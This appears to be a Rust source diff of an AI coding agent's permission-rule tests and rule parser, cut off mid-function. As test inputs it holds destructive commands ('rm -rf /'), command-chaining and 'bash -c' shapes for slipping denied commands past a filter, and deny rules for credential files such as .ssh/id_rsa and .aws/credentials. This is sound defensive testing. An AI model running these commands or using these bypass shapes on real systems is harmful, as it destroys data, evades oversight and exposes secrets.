||||
fn test_bash_pattern_matching() {
|
||||
let access = AccessKind::Bash("npm install".to_string());
|
||||
assert!(matches(&access, &rule_for("npm*")));
|
||||
assert!(matches(&access, &rule_for("npm install")));
|
||||
assert!(!matches(&access, &rule_for("cargo*")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rule_is_catchall_shares_the_evaluator() {
|
||||
let rule = |tool: ToolFilter, pattern: Option<&str>, mode: PatternMode| PermissionRule {
|
||||
action: RuleAction::Allow,
|
||||
tool,
|
||||
pattern: pattern.map(str::to_string),
|
||||
pattern_mode: mode,
|
||||
};
|
||||
let glob = |tool: ToolFilter, p: Option<&str>| rule(tool, p, PatternMode::Glob);
|
||||
|
||||
// Bare / universal / prefix-regime globs are catch-alls in every
|
||||
// substitute dimension, including `Any` (commands, MCP names, URLs, paths).
|
||||
for tool in [
|
||||
ToolFilter::Bash,
|
||||
ToolFilter::Mcp,
|
||||
ToolFilter::WebFetch,
|
||||
ToolFilter::Any,
|
||||
] {
|
||||
assert!(rule_is_catchall(&glob(tool.clone(), None)), "{tool:?} bare");
|
||||
assert!(
|
||||
rule_is_catchall(&glob(tool.clone(), Some("*"))),
|
||||
"{tool:?} *"
|
||||
);
|
||||
assert!(
|
||||
rule_is_catchall(&glob(tool.clone(), Some("**"))),
|
||||
"{tool:?} **"
|
||||
);
|
||||
// `?*` matches every non-empty input — the prefix-regime gap the old
|
||||
// empty-string probe missed, now closed for `Any` too.
|
||||
assert!(
|
||||
rule_is_catchall(&glob(tool.clone(), Some("?*"))),
|
||||
"{tool:?} ?*"
|
||||
);
|
||||
}
|
||||
// `Any(**/*)` is also universal (preserves the old Any-detector case).
|
||||
assert!(rule_is_catchall(&glob(ToolFilter::Any, Some("**/*"))));
|
||||
|
||||
// Shape-specific catch-alls a bash-shaped probe missed, judged via the
|
||||
// real matcher.
|
||||
assert!(rule_is_catchall(&glob(ToolFilter::WebFetch, Some("*://*"))));
|
||||
assert!(rule_is_catchall(&glob(ToolFilter::Mcp, Some("*__*"))));
|
||||
// `Any` also counts when it fully opens a single dimension (all web).
|
||||
assert!(rule_is_catchall(&glob(ToolFilter::Any, Some("*://*"))));
|
||||
|
||||
// Scoped grants survive in every dimension; for `Any`, a pattern scoped
|
||||
// to one regime fails the others' probes.
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Bash, Some("git *"))));
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Bash, Some("npm*"))));
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Mcp, Some("github__*"))));
|
||||
assert!(!rule_is_catchall(&glob(
|
||||
ToolFilter::WebFetch,
|
||||
Some("https://api.example.com/*")
|
||||
)));
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Any, Some("src/**"))));
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Any, Some("git *"))));
|
||||
// Domain mode is judged by the real domain matcher: one domain is scoped.
|
||||
assert!(!rule_is_catchall(&rule(
|
||||
ToolFilter::WebFetch,
|
||||
Some("evil.example.com"),
|
||||
PatternMode::Domain
|
||||
)));
|
||||
// Read/Edit/Grep are file-access only: never a `--yolo`-substitute catch-all.
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Read, Some("**"))));
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Edit, Some("*"))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_edit_path_mode() {
|
||||
// * doesn't cross / in path mode; ** does
|
||||
let access = AccessKind::Edit("/path/to/file.rs".to_string());
|
||||
assert!(!matches(&access, &rule_for("/path*")));
|
||||
assert!(matches(&access, &rule_for("/path/**")));
|
||||
assert!(matches(&access, &rule_for("/path/**/file.rs")));
|
||||
assert!(matches(&access, &rule_for("**/*.rs")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_web_fetch_domain_matching() {
|
||||
let access = AccessKind::WebFetch("https://api.example.com/v1/data".to_string());
|
||||
assert!(matches(&access, &domain_rule("example.com")));
|
||||
assert!(matches(&access, &domain_rule("api.example.com")));
|
||||
assert!(!matches(&access, &domain_rule("other.com")));
|
||||
// www. normalization
|
||||
let www = AccessKind::WebFetch("https://www.example.com/page".to_string());
|
||||
assert!(matches(&www, &domain_rule("example.com")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_none_and_wildcard_patterns() {
|
||||
// None pattern = match all (used by bare tool rules like "Bash" with no specifier)
|
||||
let none_rule = PermissionRule {
|
||||
action: RuleAction::Allow,
|
||||
tool: ToolFilter::Any,
|
||||
pattern: None,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
};
|
||||
assert!(matches(&AccessKind::Bash("anything".into()), &none_rule));
|
||||
assert!(matches(&AccessKind::Read(None), &none_rule));
|
||||
|
||||
// Read(None) should not match a specific pattern
|
||||
assert!(!matches(&AccessKind::Read(None), &rule_for("src/*")));
|
||||
}
|
||||
|
||||
// ── tool_filter_matches tests ──────────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_any() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Bash("x".into()),
|
||||
&ToolFilter::Any
|
||||
));
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Edit("x".into()),
|
||||
&ToolFilter::Any
|
||||
));
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Read(None),
|
||||
&ToolFilter::Any
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_bash() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Bash("x".into()),
|
||||
&ToolFilter::Bash
|
||||
));
|
||||
assert!(!tool_filter_matches(
|
||||
&AccessKind::Edit("x".into()),
|
||||
&ToolFilter::Bash
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_edit() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Edit("x".into()),
|
||||
&ToolFilter::Edit
|
||||
));
|
||||
assert!(!tool_filter_matches(
|
||||
&AccessKind::Bash("x".into()),
|
||||
&ToolFilter::Edit
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_read() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Read(None),
|
||||
&ToolFilter::Read
|
||||
));
|
||||
assert!(!tool_filter_matches(
|
||||
&AccessKind::Bash("x".into()),
|
||||
&ToolFilter::Read
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_mcp() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::MCPTool {
|
||||
name: "fs".into(),
|
||||
input: serde_json::Value::Null,
|
||||
},
|
||||
&ToolFilter::Mcp
|
||||
));
|
||||
assert!(!tool_filter_matches(
|
||||
&AccessKind::Read(None),
|
||||
&ToolFilter::Mcp
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_web_fetch() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::WebFetch("https://example.com".into()),
|
||||
&ToolFilter::WebFetch
|
||||
));
|
||||
assert!(!tool_filter_matches(
|
||||
&AccessKind::Bash("x".into()),
|
||||
&ToolFilter::WebFetch
|
||||
));
|
||||
}
|
||||
|
||||
// ── evaluate tests ─────────────────────────────────────────────────────
|
||||
|
||||
fn evaluate_policy(access: &AccessKind, config: &PermissionConfig) -> Option<Decision> {
|
||||
CompiledPolicy::new(config.clone()).evaluate(access)
|
||||
}
|
||||
|
||||
fn bash_rule(action: RuleAction, pattern: &str) -> PermissionRule {
|
||||
PermissionRule {
|
||||
action,
|
||||
tool: ToolFilter::Bash,
|
||||
pattern: Some(pattern.to_string()),
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_evaluate_policy_deny_beats_allow() {
|
||||
let policy = PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Allow, "*"),
|
||||
bash_rule(RuleAction::Deny, "rm*"),
|
||||
]);
|
||||
let result = evaluate_policy(&AccessKind::Bash("rm -rf /".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
let result = evaluate_policy(&AccessKind::Bash("ls".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Allow)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_evaluate_policy_ask_forces_prompt() {
|
||||
let policy = PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Allow, "*"),
|
||||
bash_rule(RuleAction::Ask, "git push*"),
|
||||
]);
|
||||
let result = evaluate_policy(&AccessKind::Bash("git push origin main".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Ask)));
|
||||
let result = evaluate_policy(&AccessKind::Bash("ls".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Allow)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_evaluate_policy_deny_beats_ask() {
|
||||
let policy = PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Ask, "rm*"),
|
||||
bash_rule(RuleAction::Deny, "rm -rf*"),
|
||||
]);
|
||||
let result = evaluate_policy(&AccessKind::Bash("rm -rf /".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn claude_bash_colon_wildcard_deny_rejects_by_prefix() {
|
||||
use crate::permission::rules::parse_permission_rule;
|
||||
// A `Bash(cmd:*)` deny must reject by command prefix, not sit as a dead `cmd:*` glob.
|
||||
let rule = parse_permission_rule("Bash(sed:*)", RuleAction::Deny).unwrap();
|
||||
let policy = PermissionConfig::new(vec![rule]);
|
||||
let result = evaluate_policy(&AccessKind::Bash("sed -n '1,5p' file.txt".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
// Deliberate superset of upstream word-boundary `:*`: raw prefix also denies `sed-evil`.
|
||||
assert!(matches!(
|
||||
evaluate_policy(&AccessKind::Bash("sed-evil".into()), &policy),
|
||||
Some(Decision::Reject(_))
|
||||
));
|
||||
assert!(evaluate_policy(&AccessKind::Bash("ls".into()), &policy).is_none());
|
||||
}
|
||||
|
||||
// ── CompiledPolicy reuse tests ────────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_compiled_policy_reuse_across_evaluations() {
|
||||
let compiled = CompiledPolicy::new(PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Allow, "npm*"),
|
||||
bash_rule(RuleAction::Deny, "rm*"),
|
||||
bash_rule(RuleAction::Ask, "git push*"),
|
||||
]));
|
||||
|
||||
assert!(matches!(
|
||||
compiled.evaluate(&AccessKind::Bash("npm test".into())),
|
||||
Some(Decision::Allow)
|
||||
));
|
||||
assert!(matches!(
|
||||
compiled.evaluate(&AccessKind::Bash("rm -rf /".into())),
|
||||
Some(Decision::Reject(_))
|
||||
));
|
||||
assert!(matches!(
|
||||
compiled.evaluate(&AccessKind::Bash("git push origin".into())),
|
||||
Some(Decision::Ask)
|
||||
));
|
||||
assert!(
|
||||
compiled
|
||||
.evaluate(&AccessKind::Bash("cargo build".into()))
|
||||
.is_none()
|
||||
);
|
||||
}
|
||||
|
||||
// ── whitespace prefix bypass regression tests ─────────────────
|
||||
|
||||
#[test]
|
||||
fn test_bash_deny_not_bypassed_by_whitespace_prefix() {
|
||||
let policy = PermissionConfig::new(vec![bash_rule(RuleAction::Deny, "rm*")]);
|
||||
let result = evaluate_policy(&AccessKind::Bash(" rm -rf /".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
let result = evaluate_policy(&AccessKind::Bash("\trm -rf /".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_bash_deny_not_bypassed_by_whitespace_with_glob() {
|
||||
let policy = PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Deny, "rm*"),
|
||||
bash_rule(RuleAction::Allow, "*"),
|
||||
]);
|
||||
let result = evaluate_policy(&AccessKind::Bash(" rm -rf /".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
let result = evaluate_policy(&AccessKind::Bash("ls -la".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Allow)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_bash_pattern_trims_whitespace() {
|
||||
let access = AccessKind::Bash(" npm install".to_string());
|
||||
assert!(matches(&access, &rule_for("npm*")));
|
||||
assert!(matches(&access, &rule_for("npm install")));
|
||||
|
||||
let access = AccessKind::Bash("\t\t rm -rf".to_string());
|
||||
assert!(matches(&access, &rule_for("rm*")));
|
||||
}
|
||||
|
||||
// ── Deny bypass via shell operators ──────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn bash_deny_enforced_in_non_leading_command_position() {
|
||||
let policy = CompiledPolicy::new(PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Allow, "*"),
|
||||
bash_rule(RuleAction::Deny, "id *"),
|
||||
bash_rule(RuleAction::Deny, "id"),
|
||||
]));
|
||||
// A denied command after an operator / wrapper / `bash -c` must be rejected.
|
||||
for cmd in [
|
||||
"echo SAFE && id > M.txt",
|
||||
"echo SAFE; id > M.txt",
|
||||
"echo SAFE | cat; id > M.txt",
|
||||
"timeout 5 id",
|
||||
"bash -c \"id > M.txt\"",
|
||||
"bash -c -x \"id > M.txt\"",
|
||||
"bash -c -- \"id > M.txt\"",
|
||||
] {
|
||||
assert!(
|
||||
matches!(
|
||||
policy.evaluate_bash_command_policy(cmd),
|
||||
Some(Decision::Reject(_))
|
||||
),
|
||||
"denied command in a non-leading position must be rejected: {cmd}"
|
||||
);
|
||||
}
|
||||
// Scripts that cannot be decomposed must fail closed (prompt), not allow.
|
||||
for cmd in ["OUT=$(id); echo \"$OUT\" > M.txt", "echo \"`id`\" > M.txt"] {
|
||||
assert!(
|
||||
matches!(
|
||||
policy.evaluate_bash_command_policy(cmd),
|
||||
Some(Decision::Ask)
|
||||
),
|
||||
"an undecomposable script must escalate, not fall through to allow: {cmd}"
|
||||
);
|
||||
}
|
||||
// A clean compound with no denied segment is not escalated.
|
||||
assert!(
|
||||
policy
|
||||
.evaluate_bash_command_policy("echo hi && ls")
|
||||
.is_none()
|
||||
);
|
||||
// With no Bash deny/ask rules the gate is inert.
|
||||
let no_restrictions = CompiledPolicy::new(PermissionConfig::new(vec![bash_rule(
|
||||
RuleAction::Allow,
|
||||
"*",
|
||||
)]));
|
||||
assert!(
|
||||
no_restrictions
|
||||
.evaluate_bash_command_policy("echo SAFE && id")
|
||||
.is_none()
|
||||
);
|
||||
}
|
||||
|
||||
// ── default action tests ──────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_rule_action_defaults_to_deny() {
|
||||
assert_eq!(RuleAction::default(), RuleAction::Deny);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_default_action_rule_denies_access() {
|
||||
let policy = PermissionConfig::new(vec![PermissionRule {
|
||||
action: RuleAction::default(),
|
||||
tool: ToolFilter::Any,
|
||||
pattern: None,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}]);
|
||||
let result = evaluate_policy(&AccessKind::Bash("anything".into()), &policy);
|
||||
assert!(
|
||||
matches!(result, Some(Decision::Reject(_))),
|
||||
"Default RuleAction must deny access, not allow it"
|
||||
);
|
||||
}
|
||||
|
||||
// ── other tests from main ────────────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn mcp_tool_respects_deny_policy() {
|
||||
let policy = PermissionConfig::new(vec![PermissionRule {
|
||||
action: RuleAction::Deny,
|
||||
tool: ToolFilter::Mcp,
|
||||
pattern: Some("evil_tool".into()),
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}]);
|
||||
let result = evaluate_policy(
|
||||
&AccessKind::MCPTool {
|
||||
name: "evil_tool".into(),
|
||||
input: serde_json::Value::Null,
|
||||
},
|
||||
&policy,
|
||||
);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_evaluate_policy_glob_edit_rule() {
|
||||
let policy = PermissionConfig::new(vec![PermissionRule {
|
||||
action: RuleAction::Allow,
|
||||
tool: ToolFilter::Edit,
|
||||
pattern: Some("src/**/*.rs".into()),
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}]);
|
||||
assert!(matches!(
|
||||
evaluate_policy(&AccessKind::Edit("src/lib.rs".into()), &policy),
|
||||
Some(Decision::Allow)
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deny_web_search_does_not_block_read_bash_or_webfetch() {
|
||||
let policy = PermissionConfig::new(vec![PermissionRule {
|
||||
action: RuleAction::Deny,
|
||||
tool: ToolFilter::WebSearch,
|
||||
pattern: None,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}]);
|
||||
assert!(matches!(
|
||||
evaluate_policy(&AccessKind::WebSearch("rust lang".into()), &policy),
|
||||
Some(Decision::Reject(_))
|
||||
));
|
||||
assert!(evaluate_policy(&AccessKind::Read(Some("src/lib.rs".into())), &policy).is_none());
|
||||
assert!(evaluate_policy(&AccessKind::Bash("ls".into()), &policy).is_none());
|
||||
assert!(evaluate_policy(&AccessKind::WebFetch("https://x.com".into()), &policy).is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deny_web_fetch_still_blocks_only_webfetch() {
|
||||
let policy = PermissionConfig::new(vec![PermissionRule {
|
||||
action: RuleAction::Deny,
|
||||
tool: ToolFilter::WebFetch,
|
||||
pattern: None,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}]);
|
||||
assert!(matches!(
|
||||
evaluate_policy(&AccessKind::WebFetch("https://x.com".into()), &policy),
|
||||
Some(Decision::Reject(_))
|
||||
));
|
||||
assert!(evaluate_policy(&AccessKind::WebSearch("rust".into()), &policy).is_none());
|
||||
}
|
||||
|
||||
/// The Grep tool reads file contents, so managed `Read` rules must govern it:
|
||||
/// grepping a denied path is denied, an ask path prompts, and an unrestricted
|
||||
/// path is unaffected. A recursive grep (no concrete path) matches no path
|
||||
/// rule — tool-level glob excludes (not the policy) keep traversal safe.
|
||||
#[test]
|
||||
fn grep_tool_covered_by_read_rules() {
|
||||
let read_rule = |action: RuleAction, pattern: &str| PermissionRule {
|
||||
action,
|
||||
tool: ToolFilter::Read,
|
||||
pattern: Some(pattern.to_string()),
|
||||
pattern_mode: PatternMode::Glob,
|
||||
};
|
||||
let config = PermissionConfig::new(vec![
|
||||
read_rule(RuleAction::Deny, "**/.env"),
|
||||
read_rule(RuleAction::Deny, "**/*.pem"),
|
||||
read_rule(RuleAction::Deny, "**/.ssh/**"),
|
||||
read_rule(RuleAction::Deny, "**/.aws/**"),
|
||||
read_rule(RuleAction::Ask, "**/secrets/**"),
|
||||
]);
|
||||
let grep = |p: &str| AccessKind::Grep {
|
||||
path: Some(p.to_string()),
|
||||
glob: None,
|
||||
};
|
||||
for denied in [".env", "key.pem", ".ssh/id_rsa", ".aws/credentials"] {
|
||||
assert!(
|
||||
matches!(
|
||||
evaluate_policy(&grep(denied), &config),
|
||||
Some(Decision::Reject(_))
|
||||
),
|
||||
"grep on a Read-denied path must deny: {denied}"
|
||||
);
|
||||
}
|
||||
assert!(matches!(
|
||||
evaluate_policy(&grep("secrets/value.txt"), &config),
|
||||
Some(Decision::Ask)
|
||||
));
|
||||
assert!(evaluate_policy(&grep("src/main.rs"), &config).is_none());
|
||||
assert!(
|
||||
evaluate_policy(
|
||||
&AccessKind::Grep {
|
||||
path: None,
|
||||
glob: None,
|
||||
},
|
||||
&config,
|
||||
)
|
||||
.is_none()
|
||||
);
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,302 @@
|
||||
//! Native permission rule-string DSL and permission-mode vocabulary.
|
||||
|
||||
use std::str::FromStr;
|
||||
|
||||
use crate::permission::types::{PatternMode, PermissionRule, PromptPolicy, RuleAction, ToolFilter};
|
||||
|
||||
/// Recognized `permissions.defaultMode` values.
|
||||
///
|
||||
/// Unknown strings fail `FromStr` and are treated as [`Self::Default`] at the
|
||||
/// call site (fail-safe) while still claiming the settings scope so a
|
||||
/// typo in a more-specific file blocks a looser parent mode.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub(crate) enum DefaultPermissionMode {
|
||||
Default,
|
||||
AcceptEdits,
|
||||
Plan,
|
||||
/// Classifier-based auto mode. Accepted from settings; seeds the manager's
|
||||
/// auto flag (no separate `disableAutoMode` gate yet — intentional).
|
||||
Auto,
|
||||
DontAsk,
|
||||
BypassPermissions,
|
||||
}
|
||||
|
||||
impl FromStr for DefaultPermissionMode {
|
||||
type Err = String;
|
||||
|
||||
fn from_str(s: &str) -> Result<Self, Self::Err> {
|
||||
match s {
|
||||
"default" => Ok(Self::Default),
|
||||
"acceptEdits" => Ok(Self::AcceptEdits),
|
||||
"plan" => Ok(Self::Plan),
|
||||
"auto" => Ok(Self::Auto),
|
||||
"dontAsk" => Ok(Self::DontAsk),
|
||||
"bypassPermissions" => Ok(Self::BypassPermissions),
|
||||
other => Err(other.to_string()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl DefaultPermissionMode {
|
||||
pub(crate) fn effects(self) -> DefaultModeEffects {
|
||||
match self {
|
||||
Self::AcceptEdits => DefaultModeEffects {
|
||||
accept_edits: true,
|
||||
..Default::default()
|
||||
},
|
||||
Self::BypassPermissions => DefaultModeEffects {
|
||||
bypass_permissions: true,
|
||||
..Default::default()
|
||||
},
|
||||
Self::Default | Self::Plan => DefaultModeEffects::default(),
|
||||
Self::DontAsk => DefaultModeEffects {
|
||||
prompt_policy: PromptPolicy::Deny,
|
||||
..Default::default()
|
||||
},
|
||||
Self::Auto => DefaultModeEffects {
|
||||
prompt_policy: PromptPolicy::Auto,
|
||||
..Default::default()
|
||||
},
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Effects of a `defaultMode` on rules + prompt policy.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
|
||||
pub(crate) struct DefaultModeEffects {
|
||||
pub(crate) prompt_policy: PromptPolicy,
|
||||
pub(crate) accept_edits: bool,
|
||||
pub(crate) bypass_permissions: bool,
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Error Type
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/// Errors from parsing a permission rule string.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum RuleParseError {
|
||||
/// Tool prefix is recognized but not supported (e.g., "EnterWorktree").
|
||||
UnsupportedToolPrefix { prefix: String },
|
||||
/// Tool prefix is unrecognized.
|
||||
UnknownToolPrefix { prefix: String },
|
||||
/// Rule string is malformed (e.g., missing closing paren).
|
||||
MalformedRule { detail: String },
|
||||
}
|
||||
|
||||
impl std::fmt::Display for RuleParseError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
RuleParseError::UnsupportedToolPrefix { prefix } => {
|
||||
write!(f, "unsupported tool prefix: {}", prefix)
|
||||
}
|
||||
RuleParseError::UnknownToolPrefix { prefix } => {
|
||||
write!(f, "unknown tool prefix: {}", prefix)
|
||||
}
|
||||
RuleParseError::MalformedRule { detail } => {
|
||||
write!(f, "malformed rule: {}", detail)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for RuleParseError {}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Rule Parser
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/// Parse a permission rule string into a native `PermissionRule`.
|
||||
///
|
||||
/// Supported tool prefixes:
|
||||
/// - `Bash(...)` -> `ToolFilter::Bash`
|
||||
/// - `Read(...)` / `NotebookRead(...)` -> `ToolFilter::Read`
|
||||
/// - `Edit(...)` / `Write(...)` / `NotebookEdit(...)` -> `ToolFilter::Edit`
|
||||
/// - `MCPTool(...)` -> `ToolFilter::Mcp`
|
||||
/// - `Grep(...)` / `Glob(...)` -> `ToolFilter::Grep`
|
||||
/// - `WebFetch(...)` -> `ToolFilter::WebFetch`
|
||||
/// - `WebSearch(...)` -> `ToolFilter::WebSearch`
|
||||
/// - No prefix / bare pattern -> `ToolFilter::Any`
|
||||
///
|
||||
/// `WebFetch` patterns support a `domain:` prefix (e.g., `WebFetch(domain:example.com)`)
|
||||
/// which sets `PatternMode::Domain` for host-level matching instead of glob.
|
||||
///
|
||||
/// Explicitly unsupported (returns `Err`):
|
||||
/// - `EnterWorktree(...)`
|
||||
/// - Any unrecognized tool prefix
|
||||
///
|
||||
/// Pattern semantics:
|
||||
/// - Supports `*` as prefix/suffix/middle wildcard
|
||||
/// - Supports `**` for recursive path matching (zero or more segments)
|
||||
/// - Bash: a trailing `:*` is a prefix idiom — `Bash(cmd:*)` → prefix `cmd`
|
||||
///
|
||||
/// Bare tool names (no parentheses) are recognized and treated as wildcard
|
||||
/// rules for that tool type:
|
||||
/// - `"Bash"` → `{ Allow, Bash, None }` (matches all bash commands)
|
||||
/// - `"Edit"` → `{ Allow, Edit, None }` (matches all edit operations)
|
||||
///
|
||||
/// Examples:
|
||||
/// - `Ok`: `"Bash(npm run build)"` → `{ Allow, Bash, "npm run build" }`
|
||||
/// - `Ok`: `"Read(src/*.rs)"` → `{ Allow, Read, "src/*.rs" }`
|
||||
/// - `Ok`: `"Read(**/src/**)"` → `{ Allow, Read, "**/src/**" }`
|
||||
/// - `Ok`: `"Edit(src/**/*.rs)"` → `{ Allow, Edit, "src/**/*.rs" }`
|
||||
/// - `Ok`: `"Bash"` → `{ Allow, Bash, None }` (bare tool name)
|
||||
/// - `Err`: `"EnterWorktree(*)"` → `UnsupportedToolPrefix`
|
||||
pub fn parse_permission_rule(
|
||||
rule: &str,
|
||||
action: RuleAction,
|
||||
) -> Result<PermissionRule, RuleParseError> {
|
||||
let rule = rule.trim();
|
||||
|
||||
// Try to extract tool prefix: "ToolName(" ... ")"
|
||||
// Use escape-aware parsing to handle \( and \) in content.
|
||||
if let Some(open_paren) = find_first_unescaped(rule, b'(') {
|
||||
let prefix = &rule[..open_paren];
|
||||
let prefix_trimmed = prefix.trim();
|
||||
|
||||
// Find last unescaped closing paren
|
||||
let content_and_close = &rule[open_paren + 1..];
|
||||
let close_paren = find_last_unescaped(content_and_close, b')').ok_or_else(|| {
|
||||
RuleParseError::MalformedRule {
|
||||
detail: "missing closing parenthesis".to_string(),
|
||||
}
|
||||
})?;
|
||||
|
||||
let raw_content = content_and_close[..close_paren].trim();
|
||||
// Empty content or standalone wildcard = tool-wide rule.
|
||||
let pattern = if raw_content.is_empty() || raw_content == "*" {
|
||||
String::new()
|
||||
} else {
|
||||
unescape_rule_content(raw_content)
|
||||
};
|
||||
|
||||
let tool = match tool_name_to_filter(prefix_trimmed) {
|
||||
Some(f) => f,
|
||||
None if prefix_trimmed == "EnterWorktree" => {
|
||||
return Err(RuleParseError::UnsupportedToolPrefix {
|
||||
prefix: prefix_trimmed.to_string(),
|
||||
});
|
||||
}
|
||||
None => {
|
||||
return Err(RuleParseError::UnknownToolPrefix {
|
||||
prefix: prefix_trimmed.to_string(),
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
// `Bash(cmd:*)` means "commands starting with cmd"; as a glob it matches nothing.
|
||||
let pattern = if tool == ToolFilter::Bash {
|
||||
strip_bash_colon_wildcard(pattern)
|
||||
} else {
|
||||
pattern
|
||||
};
|
||||
|
||||
let (pattern, pattern_mode) = strip_domain_prefix(pattern);
|
||||
|
||||
let pattern_opt = if pattern.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(pattern)
|
||||
};
|
||||
|
||||
Ok(PermissionRule {
|
||||
action,
|
||||
tool,
|
||||
pattern: pattern_opt,
|
||||
pattern_mode,
|
||||
})
|
||||
} else {
|
||||
if let Some(tool) = tool_name_to_filter(rule) {
|
||||
return Ok(PermissionRule {
|
||||
action,
|
||||
tool,
|
||||
pattern: None,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
});
|
||||
}
|
||||
|
||||
let pattern_opt = if rule.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(rule.to_string())
|
||||
};
|
||||
|
||||
Ok(PermissionRule {
|
||||
action,
|
||||
tool: ToolFilter::Any,
|
||||
pattern: pattern_opt,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
/// Map a tool name to the native `ToolFilter`.
|
||||
///
|
||||
/// Recognized tool-filter names. Returns `None` for unrecognized names.
|
||||
pub(crate) fn tool_name_to_filter(name: &str) -> Option<ToolFilter> {
|
||||
match name {
|
||||
"Bash" => Some(ToolFilter::Bash),
|
||||
"Read" | "NotebookRead" => Some(ToolFilter::Read),
|
||||
"Edit" | "Write" | "NotebookEdit" => Some(ToolFilter::Edit),
|
||||
"MCPTool" => Some(ToolFilter::Mcp),
|
||||
"Grep" | "Glob" => Some(ToolFilter::Grep),
|
||||
"WebFetch" => Some(ToolFilter::WebFetch),
|
||||
"WebSearch" => Some(ToolFilter::WebSearch),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// True if the byte at `pos` is NOT preceded by an odd number of backslashes.
|
||||
pub(crate) fn is_unescaped(bytes: &[u8], pos: usize) -> bool {
|
||||
let mut backslashes = 0usize;
|
||||
let mut j = pos;
|
||||
while j > 0 && bytes[j - 1] == b'\\' {
|
||||
backslashes += 1;
|
||||
j -= 1;
|
||||
}
|
||||
backslashes.is_multiple_of(2)
|
||||
}
|
||||
|
||||
pub(crate) fn find_first_unescaped(s: &str, target: u8) -> Option<usize> {
